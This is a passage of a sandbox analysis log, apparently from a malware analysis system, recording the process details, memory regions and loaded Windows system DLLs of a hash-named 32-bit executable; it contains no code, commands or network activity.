# Flog Txt Version 1 # Analyzer Version: 4.7.1 # Analyzer Build Date: Nov 21 2022 05:40:14 # Log Creation Date: 24.01.2023 20:30:11.749 Process: id = "1" image_name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" page_root = "0x43e51000" os_pid = "0xec0" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "analysis_target" parent_id = "0" os_parent_pid = "0x760" cmd_line = "\"C:\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe\" " cur_dir = "C:\\Users\\kEecfMwgj\\Desktop\\" os_username = "Q9IATRKPRH\\kEecfMwgj" bitness = "32" os_groups = "Q9IATRKPRH\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000f3d7" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 108 start_va = 0x10000 end_va = 0x2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 109 start_va = 0x30000 end_va = 0x31fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 110 start_va = 0x40000 end_va = 0x40fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 111 start_va = 0x50000 end_va = 0x53fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 112 start_va = 0x60000 end_va = 0x60fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 113 start_va = 0x70000 end_va = 0xaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 114 start_va = 0xb0000 end_va = 0x1affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000000b0000" filename = "" Region: id = 115 start_va = 0xb80000 end_va = 0xb94fff monitored = 1 entry_point = 0xb86652 region_type = mapped_file name = "34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" filename = "\\Users\\kEecfMwgj\\Desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe" (normalized: "c:\\users\\keecfmwgj\\desktop\\34c1121937c35b39b654428cf3fc6b16e3e2eed03c1ccbcfc77183d1749ebadc.exe") Region: id = 116 start_va = 0x77280000 end_va = 0x77428fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 117 start_va = 0x77460000 end_va = 0x775dffff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 118 start_va = 0x7efb0000 end_va = 0x7efd2fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 119 start_va = 0x7efdb000 end_va = 0x7efddfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 120 start_va = 0x7efde000 end_va = 0x7efdefff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 121 start_va = 0x7efdf000 end_va = 0x7efdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 122 start_va = 0x7efe0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 123 start_va = 0x7ffe0000 end_va = 0x7ffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 124 start_va = 0x7fff0000 end_va = 0x7fffffeffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 264 start_va = 0x1b0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 265 start_va = 0x73bf0000 end_va = 0x73c2efff monitored = 0 entry_point = 0x73c1e088 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 266 start_va = 0x73b90000 end_va = 0x73bebfff monitored = 0 entry_point = 0x73bcf9f4 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 267 start_va = 0x73b80000 end_va = 0x73b87fff monitored = 0 entry_point = 0x73b820f8 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 268 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 269 start_va = 0x75130000 end_va = 0x7523ffff monitored = 0 entry_point = 0x75143283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 270 start_va = 0x77160000 end_va = 0x7727efff monitored = 0 entry_point = 0x77175340 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 271 start_va = 0x77160000 end_va = 0x7727efff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077160000" filename = "" Region: id = 272 start_va = 0x77060000 end_va = 0x77159fff monitored = 0 entry_point = 0x7707a2c8 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 273 start_va = 0x77060000 end_va = 0x77159fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000077060000" filename = "" Region: id = 274 start_va = 0x370000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000370000" filename = "" Region: id = 275 start_va = 0x75130000 end_va = 0x7523ffff monitored = 0 entry_point = 0x75143283 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 276 start_va = 0x75040000 end_va = 0x75086fff monitored = 0 entry_point = 0x750474c1 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 277 start_va = 0x10000 end_va = 0x1ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 278 start_va = 0x7efe0000 end_va = 0x7f0dffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 279 start_va = 0x7f0e0000 end_va = 0x7ffdffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 280 start_va = 0x1b0000 end_va = 0x216fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 281 start_va = 0x2f0000 end_va = 0x36ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000002f0000" filename = "" Region: id = 282 start_va = 0x74e80000 end_va = 0x74e91fff monitored = 0 entry_point = 0x74e81200 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 283 start_va = 0x75090000 end_va = 0x750c4fff monitored = 0 entry_point = 0x7509145d region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 284 start_va = 0x75600000 end_va = 0x756abfff monitored = 0 entry_point = 0x7560a472 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 285 start_va = 0x75c60000 end_va = 0x75d4ffff monitored = 0 entry_point = 0x75c70569 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 286 start_va = 0x74fb0000 end_va = 0x7500ffff monitored = 0 entry_point = 0x74fca3b3 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 287 start_va = 0x74fa0000 end_va = 0x74fabfff monitored = 0 entry_point = 0x74fa10e1 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 288 start_va = 0x76e10000 end_va = 0x76e28fff monitored = 0 entry_point = 0x76e14975 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 289 start_va = 0x77430000 end_va = 0x77435fff monitored = 0 entry_point = 0x77431782 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 290 start_va = 0x75810000 end_va = 0x7590ffff monitored = 0 entry_point = 0x7582b6ed region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 291 start_va = 0x75a40000 end_va = 0x75acffff monitored = 0 entry_point = 0x75a56343 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 292 start_va = 0x75400000 end_va = 0x75409fff monitored = 0 entry_point = 0x754036a0 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 293 start_va = 0x76120000 end_va = 0x761bcfff monitored = 0 entry_point = 0x76153fd7 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 294 start_va = 0x75910000 end_va = 0x759affff monitored = 0 entry_point = 0x759249e5 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 295 start_va = 0x761c0000 end_va = 0x76e09fff monitored = 0 entry_point = 0x76241601 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 296 start_va = 0x753a0000 end_va = 0x753f6fff monitored = 0 entry_point = 0x753b9ba6 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 297 start_va = 0x5b0000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000005b0000" filename = "" Region: id = 298 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 299 start_va = 0x5b0000 end_va = 0x737fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000005b0000" filename = "" Region: id = 300 start_va = 0x770000 end_va = 0x77ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000770000" filename = "" Region: id = 301 start_va = 0x20000 end_va = 0x3dfff monitored = 0 entry_point = 0x3158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 302 start_va = 0x755a0000 end_va = 0x755fffff monitored = 0 entry_point = 0x755b158f region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 303 start_va = 0x75240000 end_va = 0x7530bfff monitored = 0 entry_point = 0x7524168b region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 304 start_va = 0x780000 end_va = 0x900fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000780000" filename = "" Region: id = 305 start_va = 0xba0000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ba0000" filename = "" Region: id = 306 start_va = 0x20000 end_va = 0x20fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 307 start_va = 0x30000 end_va = 0x30fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 308 start_va = 0x910000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000910000" filename = "" Region: id = 309 start_va = 0x73e40000 end_va = 0x73e56fff monitored = 0 entry_point = 0x73e43573 region_type = mapped_file name = "cryptsp.dll" filename = "\\Windows\\SysWOW64\\cryptsp.dll" (normalized: "c:\\windows\\syswow64\\cryptsp.dll") Region: id = 310 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 311 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 312 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 313 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 314 start_va = 0x220000 end_va = 0x25bfff monitored = 0 entry_point = 0x22128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 315 start_va = 0x73e00000 end_va = 0x73e3afff monitored = 0 entry_point = 0x73e0128d region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\SysWOW64\\rsaenh.dll" (normalized: "c:\\windows\\syswow64\\rsaenh.dll") Region: id = 316 start_va = 0x240000 end_va = 0x27ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 317 start_va = 0x3d0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 318 start_va = 0x4b0000 end_va = 0x5affff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000004b0000" filename = "" Region: id = 319 start_va = 0x920000 end_va = 0xa1ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000920000" filename = "" Region: id = 320 start_va = 0xab0000 end_va = 0xabffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000ab0000" filename = "" Region: id = 321 start_va = 0x1fc0000 end_va = 0x20bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fc0000" filename = "" Region: id = 322 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 323 start_va = 0x7efd8000 end_va = 0x7efdafff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 324 start_va = 0x20d0000 end_va = 0x210ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020d0000" filename = "" Region: id = 325 start_va = 0x2290000 end_va = 0x238ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002290000" filename = "" Region: id = 326 start_va = 0x7efad000 end_va = 0x7efaffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efad000" filename = "" Region: id = 446 start_va = 0x3d0000 end_va = 0x40ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 447 start_va = 0xaf0000 end_va = 0xb2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000af0000" filename = "" Region: id = 448 start_va = 0x2430000 end_va = 0x252ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 449 start_va = 0x25c0000 end_va = 0x26bffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 450 start_va = 0x7efaa000 end_va = 0x7efacfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efaa000" filename = "" Region: id = 451 start_va = 0x7efd5000 end_va = 0x7efd7fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efd5000" filename = "" Region: id = 898 start_va = 0x440000 end_va = 0x47ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000440000" filename = "" Region: id = 899 start_va = 0x1fd0000 end_va = 0x200ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fd0000" filename = "" Region: id = 900 start_va = 0x2040000 end_va = 0x207ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002040000" filename = "" Region: id = 901 start_va = 0x2130000 end_va = 0x222ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002130000" filename = "" Region: id = 902 start_va = 0x2790000 end_va = 0x288ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002790000" filename = "" Region: id = 903 start_va = 0x2950000 end_va = 0x2a4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002950000" filename = "" Region: id = 904 start_va = 0x7efa1000 end_va = 0x7efa3fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa1000" filename = "" Region: id = 905 start_va = 0x7efa4000 end_va = 0x7efa6fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa4000" filename = "" Region: id = 906 start_va = 0x7efa7000 end_va = 0x7efa9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007efa7000" filename = "" Region: id = 907 start_va = 0x220000 end_va = 0x22ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 908 start_va = 0x220000 end_va = 0x233fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000220000" filename = "" Region: id = 909 start_va = 0x280000 end_va = 0x28efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000280000" filename = "" Region: id = 910 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 911 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 912 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 913 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 914 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 915 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 916 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 917 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 918 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 919 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 920 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 921 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 922 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 923 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 924 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 925 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 926 start_va = 0x2a50000 end_va = 0x2b4ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002a50000" filename = "" Region: id = 927 start_va = 0x2390000 end_va = 0x23cffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002390000" filename = "" Region: id = 928 start_va = 0x2bb0000 end_va = 0x2caffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002bb0000" filename = "" Region: id = 929 start_va = 0x7ef9e000 end_va = 0x7efa0fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9e000" filename = "" Region: id = 931 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 932 start_va = 0xb40000 end_va = 0xb7ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000000b40000" filename = "" Region: id = 933 start_va = 0x2d70000 end_va = 0x2e6ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000002d70000" filename = "" Region: id = 934 start_va = 0x7ef9b000 end_va = 0x7ef9dfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000007ef9b000" filename = "" Region: id = 935 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 936 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 937 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 938 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 939 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 940 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 941 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 942 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 943 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 944 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 945 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 946 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 947 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 948 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 949 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 950 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 951 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 952 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 953 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 954 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 955 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 956 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 957 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 958 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 959 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 960 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 961 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 962 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 963 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 964 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 965 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 966 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 967 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 968 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 969 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 970 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 971 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 972 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = "" Region: id = 973 start_va = 0x220000 end_va = 0x22efff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000220000" filename = 